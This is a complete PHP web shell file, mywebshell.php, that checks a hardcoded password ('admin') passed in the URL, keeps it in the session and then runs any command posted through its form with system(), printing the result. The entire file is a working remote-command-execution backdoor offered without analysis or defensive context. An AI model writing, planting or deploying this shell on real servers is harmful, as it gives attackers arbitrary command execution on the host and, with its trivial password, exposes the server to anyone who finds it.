//mywebshell.php

  <?php

session_start();

if (isset($_SESSION['password']) || isset($_GET['password'])) {

   $_SESSION['password']= isset($_GET['password'])?$_GET['password']:$_SESSION['password'];  

  if ($_SESSION['password']=='admin') {

     if(isset($_POST['command']) && !empty($_POST['command'])) {
   $command=$_POST['command'];

        $ret=system($command,$out);
echo "<br>[$out]:[$ret]<hr>";
}

$strform=<<<FORM

<form method="post" action="mywebshell.php">

command:<textarea name="command" rows="5" cols="100"></textarea><br>

<input type="submit">

</form>

FORM;

echo $strform;

  }

}

?>